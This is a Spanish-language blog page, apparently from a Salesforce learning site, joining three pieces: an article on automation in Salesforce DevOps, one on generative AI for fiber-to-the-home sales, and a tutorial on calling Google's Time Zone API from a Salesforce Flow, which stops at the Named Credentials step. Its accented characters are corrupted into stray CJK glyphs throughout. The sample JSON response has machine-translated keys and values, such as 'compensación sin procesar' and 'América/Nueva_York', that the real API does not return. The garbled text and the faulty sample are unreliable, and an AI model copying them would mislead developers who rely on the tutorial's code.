El primer paso hacia la automatizaci贸n es reconocer qu茅 tareas est谩n ralentizando su velocidad de desarrollo.

Estos t铆picamente incluyen:

  • Revisiones de c贸digo,
  • Pruebas,
  • Despliegue,
  • Configuraci贸n,
  • Migraci贸n de datos.

Suelen implicar procesos manuales tediosos que consumen tiempo y son propensos a errores. Al identificar estas tareas, puede identificar d贸nde la automatizaci贸n proporcionar谩 el mayor beneficio y tendr谩 un impacto significativo en la velocidad y la eficiencia de su desarrollo.

Implementaci贸n de herramientas y marcos de automatizaci贸n

Una vez que haya identificado las 谩reas que podr铆an beneficiarse de la automatizaci贸n, es hora de elegir e implementar las herramientas y los marcos adecuados. Salesforce ofrece varias funciones de automatizaci贸n integradas, como Apex y Salesforce Flow .

Sin embargo, otras herramientas pueden ser m谩s adecuadas para tareas complejas, como Salesforce DX para la gesti贸n del ciclo de vida del desarrollo, o Jenkins y CircleCI para la integraci贸n y entrega continuas. Al seleccionar estas herramientas, aseg煤rese de que se alineen con las habilidades de su equipo y los requisitos espec铆ficos de su entorno de Salesforce.

Optimizaci贸n de procesos para mejorar la eficiencia

La automatizaci贸n no se trata solo de herramientas y tecnolog铆a. Tambi茅n se trata de refinar sus procesos. Revise su flujo de trabajo de desarrollo actual para identificar posibles cuellos de botella y 谩reas de mejora.

Por ejemplo:

  1. 驴C贸mo se informan y rastrean los errores?
  2. 驴Con qu茅 frecuencia se realizan las implementaciones y c贸mo se programan?
  3. 驴C贸mo se recopilan los comentarios y c贸mo se act煤a en consecuencia?

Simplificar estos procesos puede mejorar dr谩sticamente la eficiencia de su equipo, permiti茅ndole aprovechar al m谩ximo sus esfuerzos de automatizaci贸n.

Vale la pena mencionar que los beneficios de la automatizaci贸n van m谩s all谩 de acelerar el desarrollo. La automatizaci贸n tambi茅n puede mejorar la calidad del c贸digo al detectar errores temprano a trav茅s de pruebas automatizadas. Puede reducir los errores de implementaci贸n al sincronizar el c贸digo en diferentes entornos.

Y al liberar a los desarrolladores de las tareas rutinarias, les permite concentrarse m谩s en el desarrollo de caracter铆sticas y el dise帽o del sistema, fomentando as铆 la innovaci贸n y mejorando el valor entregado a los usuarios finales.

Pruebas automatizadas para el desarrollo acelerado de Salesforce

Las pruebas son un componente crucial de cualquier ciclo de vida de desarrollo, y su importancia se multiplica para acelerar el desarrollo de Salesforce. Las pruebas peri贸dicas y exhaustivas ayudan a identificar errores y problemas desde el principio, lo que reduce el riesgo de reparaciones costosas y lentas en el futuro. Asegura la calidad y la confiabilidad de la aplicaci贸n, lo que a su vez contribuye a mejorar las experiencias de los usuarios y los resultados comerciales.

La automatizaci贸n puede potenciar este proceso de prueba. Las pruebas automatizadas implican el uso de herramientas de software para ejecutar pruebas y comparar los resultados reales con los resultados esperados. La implementaci贸n de una estrategia de prueba automatizada para las aplicaciones de Salesforce puede acelerar dr谩sticamente el proceso de desarrollo, lo que garantiza implementaciones m谩s r谩pidas, eficientes y confiables con menos errores.

Existen numerosas herramientas disponibles para pruebas automatizadas en Salesforce. Apex proporciona soporte integrado para pruebas unitarias, mientras que herramientas como Selenium, Provar y AssureClick pueden automatizar las pruebas de IU. Jest es una excelente opci贸n para probar Lightning Web Components (LWC). Al seleccionar una herramienta, considere las necesidades espec铆ficas de su aplicaci贸n, la experiencia de su equipo y la complejidad y frecuencia de sus requisitos de prueba.

Seguir las mejores pr谩cticas es esencial para aprovechar todo el potencial de las pruebas automatizadas. Estas son algunas de las mejores pr谩cticas para pruebas automatizadas eficientes y completas en el desarrollo de Salesforce:

  • Apunte a una alta cobertura de prueba : aseg煤rese de probar todas las partes de su aplicaci贸n. Salesforce requiere una cobertura de c贸digo m铆nima del 75 %, pero apuntar a una mayor cobertura puede brindar m谩s confianza en la confiabilidad de la aplicaci贸n.
  • Cree pruebas repetibles y aut贸nomas : las pruebas deben poder ejecutarse en cualquier entorno y no deben basarse en datos de pruebas anteriores. Esto garantiza que cada prueba valide una funci贸n espec铆fica de forma independiente.
  • Mantenga sus conjuntos de pruebas : a medida que su aplicaci贸n evolucione, sus pruebas tambi茅n deber铆an hacerlo. Revise y actualice regularmente sus pruebas para asegurarse de que reflejen con precisi贸n el estado actual de su aplicaci贸n.
  • Implemente diferentes niveles de prueba : combine pruebas unitarias, pruebas de integraci贸n y pruebas de interfaz de usuario para validar todos los aspectos de su aplicaci贸n. Cada nivel de prueba proporciona una perspectiva diferente sobre la funcionalidad de la aplicaci贸n.
  • Priorizar la legibilidad de la prueba : las pruebas a menudo sirven como documentaci贸n, explicando lo que se supone que debe hacer una parte del c贸digo. Aseg煤rese de que sus pruebas est茅n bien estructuradas y claramente escritas para que sean f谩ciles de entender para los dem谩s.
  • Incorpore las pruebas al principio del proceso de desarrollo : no espere hasta el final del ciclo de desarrollo para comenzar las pruebas. La incorporaci贸n de pruebas de manera temprana y frecuente le permite detectar y solucionar problemas r谩pidamente.

Integraci贸n e implementaci贸n continuas con automatizaci贸n

La integraci贸n continua y la implementaci贸n continua (CI/CD) forman un pilar central de Salesforce DevOps. CI/CD est谩 dise帽ado para reducir errores y acelerar el desarrollo a trav茅s de la integraci贸n continua de c贸digo y procesos de implementaci贸n automatizados y consistentes.

En el contexto de Salesforce, CI fusiona peri贸dicamente los cambios de c贸digo en un repositorio compartido, a menudo varias veces al d铆a. Cada integraci贸n se verifica autom谩ticamente mediante la creaci贸n de la aplicaci贸n y la ejecuci贸n de pruebas, lo que garantiza que los nuevos cambios se integren perfectamente con el c贸digo existente y no introduzcan errores.

Por otro lado, CD implementa autom谩ticamente esos cambios en la producci贸n, lo que garantiza que las nuevas caracter铆sticas, configuraciones y mejoras lleguen a los usuarios finales lo m谩s r谩pido posible. En Salesforce, CD puede implicar la implementaci贸n de cambios en diferentes entornos, como entornos de desarrollo, prueba, ensayo y producci贸n.

La automatizaci贸n es clave para lograr procesos impecables de CI/CD de Salesforce. A trav茅s de la automatizaci贸n, puede optimizar y estandarizar los pasos involucrados en:

  • Creaci贸n, prueba e implementaci贸n de aplicaciones de Salesforce,
  • Reducir el potencial de error humano
  • Acelerar el ciclo de desarrollo general.

La automatizaci贸n del proceso de compilaci贸n garantiza que los cambios en el c贸digo se integren y validen de manera constante. Las pruebas automatizadas, como comentamos anteriormente, verifican la integridad y la calidad del nuevo c贸digo. La automatizaci贸n del proceso de implementaci贸n ayuda a sincronizar el c贸digo y los cambios de configuraci贸n en diferentes entornos, lo que garantiza que todos los equipos de DevOps trabajen con la versi贸n m谩s reciente y precisa de la aplicaci贸n.

Control de versiones y automatizaci贸n de la gesti贸n de cambios

En el desarrollo de Salesforce, el control de versiones y la gesti贸n de cambios son fundamentales para mantener la integridad, coherencia y calidad de su aplicaci贸n.

El control de versiones, una parte integral del desarrollo de software, implica administrar y rastrear diferentes versiones de su base de c贸digo. Le permite ver los cambios a lo largo del tiempo, volver a las versiones anteriores cuando sea necesario y administrar el c贸digo de varios desarrolladores al mismo tiempo.

La gesti贸n de cambios se refiere a la gesti贸n y el seguimiento de los cambios del sistema, incluidos los cambios de configuraci贸n, las modificaciones de c贸digo y las implementaciones de nuevas funciones.

La automatizaci贸n de estos procesos puede mejorar su eficiencia y confiabilidad en el desarrollo de Salesforce.

  1. El control de versiones automatizado permite una integraci贸n de c贸digo m谩s fluida de diferentes desarrolladores, lo que reduce el riesgo de conflictos y errores.
  2. La gesti贸n de cambios automatizada asegura que todas las modificaciones a su sistema sean rastreadas y verificadas con precisi贸n, mejorando la responsabilidad y facilitando el diagn贸stico de cualquier problema que surja.

Varias herramientas pueden ayudar a automatizar el control de versiones y la gesti贸n de cambios en Salesforce. Los sistemas de control de versiones (VCS) como Git permiten un control de versiones efectivo. Facilita el seguimiento de los cambios en la base del c贸digo, lo que ayuda a mantener la integridad del c贸digo.

Las herramientas de DevOps como Copado o Gearset pueden ayudar a automatizar el seguimiento y la implementaci贸n de cambios en diferentes entornos para la gesti贸n de cambios. Brindan una visibilidad integral de su historial de cambios, lo que le permite administrar los cambios de manera m谩s efectiva y mantener la estabilidad de su aplicaci贸n.

Automatizaci贸n de la supervisi贸n y el tratamiento de errores

En el 谩mbito vertiginoso del desarrollo de Salesforce, el papel de la automatizaci贸n se extiende m谩s all谩 de la creaci贸n, prueba e implementaci贸n. El monitoreo automatizado y el manejo de errores son igualmente importantes para mantener la salud de la aplicaci贸n y corregir r谩pidamente cualquier problema.

El monitoreo automatizado implica el uso de herramientas para realizar un seguimiento constante del rendimiento, el uso y el estado general de sus aplicaciones de Salesforce. Este enfoque proactivo permite a los equipos de desarrollo identificar y abordar posibles problemas antes de que afecten a los usuarios.

El manejo proactivo de errores va de la mano con el monitoreo automatizado. En lugar de esperar a que se informen los problemas, el manejo proactivo de errores implica el uso de sistemas automatizados para identificar y, a menudo, resolver los problemas tan pronto como ocurran. Las notificaciones de error automatizadas aseguran que su equipo est茅 al tanto de cualquier problema al instante, lo que permite una respuesta r谩pida, minimiza el tiempo de inactividad y reduce la posibilidad de errores costosos.

La implementaci贸n de estas herramientas de automatizaci贸n en Salesforce DevOps implica el uso estrat茅gico de recursos como Monitoreo de eventos de Salesforce, que proporciona un flujo de eventos de auditor铆a de aplicaciones de su organizaci贸n, y herramientas de Monitoreo y advertencia de errores, que pueden notificarle autom谩ticamente sobre errores o excepciones.

Conclusi贸n

La automatizaci贸n combinada con las pr谩cticas de Salesforce DevOps ofrece una poderosa estrategia para acelerar el desarrollo y mejorar la calidad del software. Es una receta para el 茅xito en el vertiginoso panorama digital actual.

Para implementar la automatizaci贸n en su desarrollo de Salesforce, comience por identificar las tareas repetitivas que podr铆an automatizarse. Luego, implemente herramientas adecuadas para tareas como integraci贸n continua, pruebas automatizadas, control de versiones y monitoreo de aplicaciones. Agilice cualquier proceso manual junto con la implementaci贸n de estas herramientas, creando un flujo de trabajo de desarrollo eficiente y efectivo.

La adopci贸n de la automatizaci贸n en Salesforce DevOps acelera el desarrollo y refuerza la confiabilidad y el valor de sus aplicaciones. A medida que el ecosistema de Salesforce contin煤a evolucionando, el papel de la automatizaci贸n crecer谩 a煤n m谩s, dando forma al futuro del desarrollo de Salesforce.

Este art铆culo fue escrito por Sam Hops. Es redactora de contenido para una revista digital que cubre temas relacionados con el dise帽o, el comercio electr贸nico, el marketing digital y el esp铆ritu empresarial. Sam es un apasionado de todo lo relacionado con el marketing digital, pero tiene un inter茅s particular en el dise帽o gr谩fico, el SEO y las redes sociales.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

驴Intenta ganar clientes de Internet de fibra? 3 formas en que la IA puede ayudar

驴Intenta ganar clientes de Internet de fibra? 3 formas en que la IA puede ayudar

A medida que m谩s empresas y personas buscan una conectividad a Internet m谩s r谩pida que la que pueden proporcionar los cables, la fibra es una inversi贸n popular. Dado que se espera que el mercado mundial de la fibra alcance los 31聽300 millones de USD para 2030 , est谩 claro que el auge de la fibra hasta el hogar est谩 aqu铆.

La IA puede ayudarlo a capitalizar esto, escalando sus esfuerzos para obtener nuevos clientes y ayud谩ndolo a brindar un mejor servicio a los actuales .

Adquirir la mayor cantidad de clientes lo m谩s r谩pido posible es el nombre del juego para los proveedores de fibra hasta el hogar. Las enormes inversiones en infraestructura est谩n presionando a煤n m谩s a las empresas de telecomunicaciones para que hagan precisamente eso.

Modernice el servicio con la automatizaci贸n

Aproveche la IA y la automatizaci贸n para liberar a los equipos de servicio al cliente de tareas mundanas, brindar un servicio de calidad y ser m谩s eficientes.

Sin embargo, la cantidad de nuevos clientes que puede atraer disminuye cada vez que se retrasa un nuevo proyecto, ya sean instalaciones de infraestructura m谩s amplias o viviendas individuales. Eso perjudica su resultado final y la satisfacci贸n del cliente .

Entonces, 驴c贸mo puede agregar m谩s eficiencia al proceso sin acumular inversiones m谩s significativas? Ah铆 es donde entran la IA y la automatizaci贸n. La IA generativa puede ayudar a los proveedores de comunicaciones a optimizar sus inversiones, y eso incluye ayudar a capitalizar el auge de la fibra.

Las implementaciones de IA generativa pueden permitirle hacer preguntas espec铆ficas basadas en los datos de CRM de su empresa, ayud谩ndole a tomar decisiones m谩s informadas, lo que lleva a mejores resultados comerciales.

La tecnolog铆a de inteligencia artificial generativa que es segura, confiable y se basa en la amplitud de los datos de su cliente puede optimizar su inversi贸n en fibra en cada paso del camino. Desde la identificaci贸n de vecindarios para proyectos de infraestructura hasta la optimizaci贸n de las instalaciones de hogares individuales, as铆 es como puede ayudar.

1. Identificar ubicaciones para la inversi贸n de fibra hasta el hogar

Para capitalizar el auge de la fibra hasta el hogar, el uso de la IA generativa comienza desde el inicio del proceso, identificando en qu茅 vecindarios colocar la fibra.

La tecnolog铆a de IA generativa puede analizar datos hist贸ricos, datos demogr谩ficos y tendencias del mercado para identificar d贸nde invertir en implementaciones o actualizaciones de infraestructura, por ejemplo. Junto con sus propios puntos de datos seguros, como la tasa de ganancia de su empresa en varios vecindarios, la IA generativa lo ayudar谩 a encontrar las soluciones de dise帽o de red m谩s rentables y eficientes.

Tambi茅n puede ayudar a los proveedores de fibra a identificar las comunidades con el mayor nivel de inter茅s en la fibra, as铆 como a crear flujos de trabajo inteligentes para aumentar los ingresos por registro e instalaci贸n m谩s r谩pidamente.

2. Escale sus ventas de fibra de alto rendimiento

Tenga en cuenta que la IA que implementa es tan buena como los datos en los que se basa . Puede usar IA con sus datos protegidos para adaptar sus esfuerzos de marketing, como dise帽ar anuncios personalizados visualmente atractivos para dirigirse a audiencias espec铆ficas en funci贸n del historial de navegaci贸n y compras, creando modelos predictivos para pronosticar el comportamiento de compra de los clientes.

La IA generativa junto con las capacidades de IA basadas en el aprendizaje autom谩tico de larga data es el "santo grial" para escalar su alcance, seg煤n Vala Afshar, evangelista digital jefe de Salesforce. Eso tambi茅n se aplica al despliegue de fibra en tantos hogares y empresas como sea posible.

Puede ayudar a optimizar sus ventas y marketing a trav茅s de otros beneficios, como:

  • Puntuaci贸n de clientes potenciales : use IA para analizar y priorizar autom谩ticamente los clientes potenciales de instalaci贸n de fibra en funci贸n de su probabilidad de conversi贸n.
  • Perspectivas de cuentas y oportunidades : la IA y los algoritmos de aprendizaje autom谩tico pueden recopilar y analizar datos de fuentes internas y externas para proporcionar una visi贸n hol铆stica de posibles cuentas de fibra y oportunidades de ventas.
  • Pron贸stico predictivo : con el an谩lisis predictivo, la IA puede extraer datos hist贸ricos, patrones y otras correlaciones para brindarles a los proveedores de fibra la capacidad de anticipar el comportamiento del cliente, predecir tendencias de ventas y tomar otras decisiones basadas en datos.

Yendo un paso m谩s all谩, la IA generativa predice las tendencias de ventas futuras, analiza los datos de ventas y crea una comunicaci贸n personalizada, lo que lo ayuda a aprovechar al m谩ximo la tendencia de fibra hasta el hogar.

La IA generativa tambi茅n puede ayudar a su equipo de ventas a cerrar y optimizar nuevos acuerdos de fibra.

Puede crear propuestas y contratos a partir de datos de clientes, agilizando la creaci贸n, mejorando la personalizaci贸n, la eficiencia y la precisi贸n en todo el proceso.

El an谩lisis de gesti贸n de pedidos, en todo, desde m茅tricas de rendimiento de pedidos, seguimiento y gesti贸n de inventario, puede ayudar a identificar oportunidades de ventas adicionales y recomendaciones de productos, ahorrando horas de trabajo en tareas administrativas.

3. Mejore su proceso de instalaci贸n para trabajadores y clientes

La IA tampoco se detiene una vez que sus t茅cnicos est谩n en el campo.

Brinda a los despachadores una visibilidad completa para hacer coincidir los trabajadores y las asignaciones, y asigna proyectos de manera consistente en funci贸n de las habilidades, la ubicaci贸n, el inventario y las reglas comerciales. Les permite ver la fuerza de trabajo m贸vil y cada trabajo en una sola pantalla.

Los chatbots o asistentes virtuales con tecnolog铆a de IA pueden proporcionar actualizaciones en tiempo real sobre instalaciones o solicitudes de servicio que reducen el tiempo de intervenci贸n humana.

Puede ofrecer las siguientes mejores acciones y resoluci贸n de problemas para los t茅cnicos de servicio de campo durante la instalaci贸n. Por ejemplo, los algoritmos de visi贸n por computadora pueden analizar im谩genes o videos de los sitios de instalaci贸n para guiar a los t茅cnicos a trav茅s del proceso y garantizar la precisi贸n en el camino e identificar cualquier problema que deba abordarse.

Esto crea un proceso de instalaci贸n simplificado y le permite entrar y salir de m谩s hogares y negocios m谩s r谩pido. AI lo ayuda a brindar el excelente servicio que los clientes esperan, brind谩ndole una ventaja en la carrera de fibra hasta el hogar.

Uni茅ndolo todo con IA generativa

Veamos un ejemplo de un proveedor de fibra que utiliza IA generativa para convertir una simple solicitud de servicio de un cliente de banda ancha comercial en una posible instalaci贸n significativa de fibra para varias oficinas. Supongamos que un cliente se pone en contacto con el centro de servicio por inquietudes sobre videoconferencias nerviosas entre sus seis oficinas.

En el pasado, despu茅s de enterarse del problema, un representante de ventas regresaba e investigaba las ubicaciones de sus oficinas, cu谩ntos empleados y el tipo de negocio. Luego usar铆an esa informaci贸n para predecir el ancho de banda, o incluso si est谩 disponible en las ubicaciones, necesario para una soluci贸n. El representante, junto con los arquitectos t茅cnicos, establecer铆a cu谩l es la soluci贸n, pensar铆a en una venta adicional y redactar铆a una propuesta y un contrato.

Eso podr铆a tomar semanas o meses en completarse.

En su lugar, la IA puede tomar la indicaci贸n del cliente (arreglando videoconferencias sin fluctuaciones entre seis ubicaciones) y proporcionar instant谩neamente las respuestas a todas las preguntas necesarias para resolver el problema.

Esta tecnolog铆a puede extraer datos seguros de sus clientes e identificar informaci贸n relevante, como d贸nde se encuentran esas seis ubicaciones y el n煤mero de empleados por ubicaci贸n. Al leer los datos que ya tiene, la IA generativa puede informarle si la tecnolog铆a mejorada est谩 disponible para esas ubicaciones.

Tambi茅n puede incorporar una recomendaci贸n de venta adicional instant谩nea, que en este caso, por ejemplo, ser铆a instalar fibra en las ubicaciones para aumentar el ancho de banda y la mejor velocidad y calidad posibles para videoconferencias.

Luego, la IA generativa entrega una propuesta y un contrato utilizando toda esa informaci贸n privada dentro de su dominio. Un representante de ventas y un ingeniero de red est谩n en todo momento para proporcionar retroalimentaci贸n humana para ajustar o adaptar la respuesta, brindando el toque personal necesario para que todo funcione bien.

Pero gran parte del trabajo manual, el trabajo administrativo, lo realiza la IA. Reduce el proceso que habr铆a tomado semanas o meses manualmente a solo unos pocos d铆as, mientras libera los recursos de su empresa para enfocarse en tareas de mayor nivel, como enfocarse en expandir la fibra al hogar y la oficina.

Ya sea identificando ubicaciones para instalar fibra o alertando a los representantes sobre una oportunidad de venta adicional, la IA generativa y la automatizaci贸n pueden ayudar a potenciar la carrera de su empresa para adquirir clientes de fibra y optimizar esas fuertes inversiones.

Gana ventaja en el auge de la fibra

Descubra las estrategias y tecnolog铆as fundamentales necesarias para iluminar las experiencias de sus suscriptores de fibra.

Continue reading

Integraci贸n de API de zona horaria de Salesforce y Google: traducci贸n de coordenadas a informaci贸n de zona horaria

Integraci贸n de API de zona horaria de Salesforce y Google: traducci贸n de coordenadas a informaci贸n de zona horaria

脷ltima actualizaci贸n el 29 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo puede aprovechar la API de zona horaria de Google para actualizar autom谩ticamente la informaci贸n de zona horaria de un cliente potencial en funci贸n de sus coordenadas geogr谩ficas?

Objetivos:

Despu茅s de leer este blog, podr谩:

Jestilla Zetkin se desempe帽a actualmente como arquitecta de Salesforce en Gurukul On Cloud (GoC). El Director Comercial le ha confiado a Jestilla un desaf铆o 煤nico. El objetivo es asegurarse de que, en el momento de la creaci贸n, los prospectos de Salesforce (creados a trav茅s de Web-to-lead) reciban los detalles exactos de la zona horaria, que se determinan en funci贸n de sus respectivas coordenadas geogr谩ficas.

  1. El caso de uso comercial requiere que usemos la API de zona horaria de Google para actualizar autom谩ticamente cuatro campos espec铆ficos en los clientes potenciales:
    1. dstOffset (la compensaci贸n del horario de verano en segundos)
    2. rawOffset (el desplazamiento de la hora universal coordinada para la zona horaria de la ubicaci贸n dada)
    3. timeZoneId (una cadena que identifica de forma 煤nica la zona horaria)
    4. y timeZoneName (el nombre largo de la zona horaria)
  2. En caso de una respuesta fallida, instituya una acci贸n de contingencia para crear una tarea para el propietario designado del cliente potencial.

驴Qu茅 es la API de zona horaria de Google?

Hay muchas posibilidades de que su base de clientes est茅 repartida en varias zonas horarias. Este factor puede influir en gran medida en sus interacciones con ellos, especialmente al programar llamadas, reuniones o enviar mensajes autom谩ticos. La plataforma de Salesforce ofrece un entorno altamente adaptable para almacenar y administrar datos de clientes, pero de forma predeterminada, no proporciona una forma de registrar autom谩ticamente la zona horaria del cliente potencial en funci贸n de sus coordenadas geogr谩ficas.

La API de zona horaria de Google es un servicio ofrecido por Google como parte de su plataforma Google Maps. La API proporciona datos de zona horaria para cualquier ubicaci贸n en todo el mundo en funci贸n de las coordenadas de latitud y longitud. Este servicio puede ser particularmente 煤til para los desarrolladores que necesitan ajustar la comunicaci贸n de acuerdo con la ubicaci贸n geogr谩fica de un cliente potencial o contacto o para empresas que operan en diferentes zonas horarias.

La API de zona horaria proporciona la siguiente informaci贸n:

  • El ID de la zona horaria , seg煤n lo define la base de datos de zonas horarias de la IANA (por ejemplo, America/New_York ).
  • El nombre de la zona horaria (por ejemplo, hora de verano del este ).
  • La diferencia horaria con respecto a la hora universal coordinada (UTC) sin tener en cuenta el horario de verano (rawOffset).
  • El desfase horario debido al horario de verano (dstOffset).

Tenga en cuenta que la API de zona horaria de Google est谩 sujeta a cargos, por lo que es importante comprender las implicaciones de costos antes de implementarla.

C贸mo funciona la API de zona horaria de Google?

La API de zona horaria de Google funciona tomando coordenadas de latitud y longitud y devolviendo datos de zona horaria en formato JSON. Aqu铆 hay un ejemplo b谩sico de c贸mo usarlo.

La siguiente solicitud HTTP GET obtiene informaci贸n de zona horaria para una ubicaci贸n en la latitud 40.712776 y longitud -74.005974 (ciudad de Nueva York), y asume que est谩 realizando la solicitud en una determinada marca de tiempo (marca de tiempo UNIX).

 https://maps.googleapis.com/maps/api/timezone/json?location=40.712776,-74.005974&timestamp=1458000000&key=YOUR_API_KEY

En la URL de solicitud anterior, reemplace YOUR_API_KEY con su clave API real.

Aqu铆 hay una respuesta de muestra en formato JSON que la API podr铆a devolver:


{ "dstOffset": 3600, "compensaci贸n sin procesar": -18000, "estado": "OK", "timeZoneId": "Am茅rica/Nueva_York", "timeZoneName" : "Hora de verano del Este"
}

La respuesta incluye la siguiente informaci贸n:

  1. dstOffset : La compensaci贸n del horario de verano en segundos. Ser谩 cero si la zona horaria no est谩 en el horario de verano durante la marca de tiempo especificada.
  2. rawOffset : el desplazamiento de UTC (sin contar el horario de verano) en segundos.
  3. estado : una cadena que indica el estado de la solicitud. 鈥淥K鈥 significa que la solicitud fue exitosa.
  4. timeZoneId : una cadena que contiene el ID "tz" de la zona horaria (por ejemplo, "Am茅rica/Nueva_York").
  5. timeZoneName : una cadena que contiene el nombre de forma larga de la zona horaria (por ejemplo, "hora de verano del este").

Recuerde, en la URL de solicitud, se requiere el par谩metro de marca de tiempo y el par谩metro de ubicaci贸n espera coordenadas de latitud y longitud.

  1. Marca de tiempo : el tiempo deseado en segundos desde la medianoche del 1 de enero de 1970 UTC. La API de zona horaria utiliza la marca de tiempo para determinar si se debe aplicar o no el horario de verano, seg煤n la zona horaria de la ubicaci贸n.
  2. Ubicaci贸n : una tupla de latitud, longitud separada por comas, ubicaci贸n = 40.712776, -74.005974, que representa la ubicaci贸n para buscar.

Adem谩s, no olvide incluir su clave API.

Beneficios de usar la API de zona horaria de Google

La API de zona horaria de Google ofrece una serie de beneficios significativos, especialmente para desarrolladores y empresas que necesitan operar en diferentes zonas horarias. Estos son algunos de los beneficios clave:

  1. Precisi贸n : la API de zona horaria de Google proporciona datos de zona horaria precisos para cualquier ubicaci贸n en todo el mundo. Tiene en cuenta tanto la zona horaria 'sin procesar' como el horario de verano, lo que garantiza que siempre tenga la hora local correcta.
  2. Facilidad de uso : la API es f谩cil de usar y solo requiere la latitud y la longitud como entradas. Devuelve datos en un formato JSON estructurado, que es f谩cil de analizar y usar en varias aplicaciones.
  3. Cobertura global : la API proporciona datos de zona horaria para ubicaciones en todo el mundo, lo que la hace 煤til para empresas globales y aplicaciones con bases de usuarios internacionales.
  4. Confiabilidad : como servicio proporcionado por Google, es altamente confiable, lo que garantiza que tenga acceso constante a los datos de la zona horaria cuando los necesite.
  5. Integraci贸n : se puede integrar en una variedad de aplicaciones y plataformas, incluidas aplicaciones m贸viles, servicios web y plataformas de CRM como Salesforce. Esto permite funcionalidades como la programaci贸n de comunicaciones en diferentes franjas horarias, etc.
  6. Informaci贸n actualizada : Google actualiza continuamente sus bases de datos, lo que garantiza que los datos devueltos por la API de zona horaria, como los cambios de horario de verano, est茅n siempre actualizados.

Al aprovechar estos beneficios, las empresas pueden mejorar la experiencia del cliente, aumentar la eficiencia operativa y garantizar un registro de datos preciso, entre otras ventajas.

Antes de comenzar a usar la API de zona horaria, necesita un proyecto con una cuenta de facturaci贸n y la API de zona horaria habilitada. Aqu铆 hay una gu铆a paso a paso para configurar su proyecto de Google Cloud y habilitar la API de zona horaria:

Paso 1: crea o selecciona tu proyecto

  1. Navegue a Google Cloud Console .
  2. Si ha creado un proyecto anteriormente, puede seleccionarlo de la lista desplegable en la parte superior. De lo contrario, haga clic en Nuevo proyecto en la parte superior derecha.
  3. Asigne un nombre a su proyecto y, opcionalmente, tambi茅n puede editar el ID del proyecto.
  4. Haga clic en Crear para crear el proyecto.

Paso 2: configurar una cuenta de facturaci贸n

Debe vincular una cuenta de facturaci贸n a su proyecto para usar la API de zona horaria de Google. As铆 es c贸mo:

  1. En Google Cloud Console, abra el men煤 del lado izquierdo de la consola y haga clic en Facturaci贸n .
  2. Si tiene una o m谩s cuentas de facturaci贸n, elija una cuenta y as贸ciela con su proyecto. De lo contrario, haga clic en Crear cuenta , complete el formulario para crear una nueva cuenta de facturaci贸n y luego as贸ciela con su proyecto.

Paso 3: habilite la API de zona horaria

Una vez que haya configurado su proyecto y su cuenta de facturaci贸n, puede habilitar la API de zona horaria.

  1. En Google Cloud Console, abra el men煤 del lado izquierdo de la consola y vaya a API y servicios | biblioteca
  2. En la biblioteca de API, busque API de zona horaria y selecci贸nela.
  3. En la p谩gina de la API de zona horaria, haga clic en Habilitar .

Paso 4: Genere su clave API

Finalmente, necesita una clave de API para autenticar sus solicitudes en la API de zona horaria.

  1. En Google Cloud Console, abra el men煤 del lado izquierdo de la consola y vaya a API y servicios | Cartas credenciales.
  2. Haga clic en el bot贸n + CREAR CREDENCIALES en la parte superior y seleccione Clave API .
  3. Su nueva clave de API se crear谩 y se mostrar谩. C贸pielo y gu谩rdelo de forma segura. Necesitar谩 esta clave para realizar solicitudes a la API de zona horaria.

Ahora, su proyecto de Google Cloud est谩 todo configurado y puede comenzar a usar la API de zona horaria de Google.

馃憠 Si bien la API de zona horaria es compatible con OAuth 2.0 y la cuenta de servicio para la autenticaci贸n, esta gu铆a se enfoca en el m茅todo de clave de API m谩s simple por razones de brevedad. Si necesita un m茅todo de autenticaci贸n m谩s seguro o complejo, consulte la documentaci贸n de autenticaci贸n oficial de Google.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Si bien esto se puede resolver utilizando varias herramientas de automatizaci贸n como Apex Trigger y otras, utilizaremos Salesforce Flow y la funci贸n de flujo HTTP Callout (GET) recientemente introducida .

HTTP Callout extrae o env铆a datos entre la base de datos de Salesforce y un sistema externo a trav茅s de Flow Builder sin usar c贸digo. Puede configurar integraciones directas seg煤n sea necesario sin tener que trabajar con un desarrollador o llamar a una herramienta de middleware, como Mulesoft. Despu茅s de configurar la acci贸n de llamada HTTP en un flujo, Flow Builder genera autom谩ticamente un registro de servicio externo , una acci贸n invocable y una clase de Apex que puede usar para crear un recurso definido por Apex para flujos. A continuaci贸n, puede utilizar la salida de datos de la solicitud de la API como entrada en Flow Builder y en Salesforce.

Puede usar HTTP Callout para conectar un flujo a una variedad de API.

  • Obtener informaci贸n de direcciones usando una API de mapa
  • Obt茅n las condiciones meteorol贸gicas con una API de servicios meteorol贸gicos
  • Genere el c贸digo de barras con una API de servicio de c贸digo de barras
  • Obtenga informaci贸n de autorizaci贸n de pago con una API de procesamiento de pagos
  • y mucho m谩s

Antes de discutir la soluci贸n, perm铆tame mostrarle un diagrama del proceso a un alto nivel. Dedique unos minutos a revisar el siguiente diagrama de flujo para comprenderlo.

Comencemos a construir este proceso de automatizaci贸n.

Pr谩ctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito empresarial de Jestilla mediante Record-Triggered After-Save Flow . Debemos:

  1. Cree campos personalizados en el cliente potencial para almacenar la respuesta
  2. Crear una credencial con nombre
  3. Flujo de fuerza de ventas
    1. Definir propiedades de flujo para el flujo desencadenado por registro
    2. Agregue una f贸rmula para calcular la marca de tiempo
    3. Configurar una llamada HTTP GET para la API de zona horaria
    4. Agregue un elemento de decisi贸n para verificar el c贸digo de respuesta
    5. Agregue un elemento Actualizar registros para actualizar el prospecto
    6. Agregue un elemento Crear registros para crear una tarea para que el propietario del cliente potencial maneje la respuesta de error

Paso 1: Cree campos personalizados en el objeto principal para almacenar la respuesta

En este paso, hemos establecido campos personalizados dentro del objeto principal. Estos servir谩n como repositorios para los datos de respuesta de la API de zona horaria de Google.

Etiqueta de campo Nombre de API de campo Tipo de datos
dstOffset dstOffset __c N煤mero (18,0)
rawOffset rawOffset__c N煤mero (18,0)
Posici贸n actual Posici贸n_actual__c Geolocalizaci贸n
Identificaci贸n de zona horaria Time_Zone_Id__c Texto (255)
Nombre de zona horaria
Nombre_de_la_zona_horaria__c Texto (255)

Paso 2: crear una credencial con nombre

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, ingrese Credenciales con nombre y luego seleccione Credenciales con nombre .
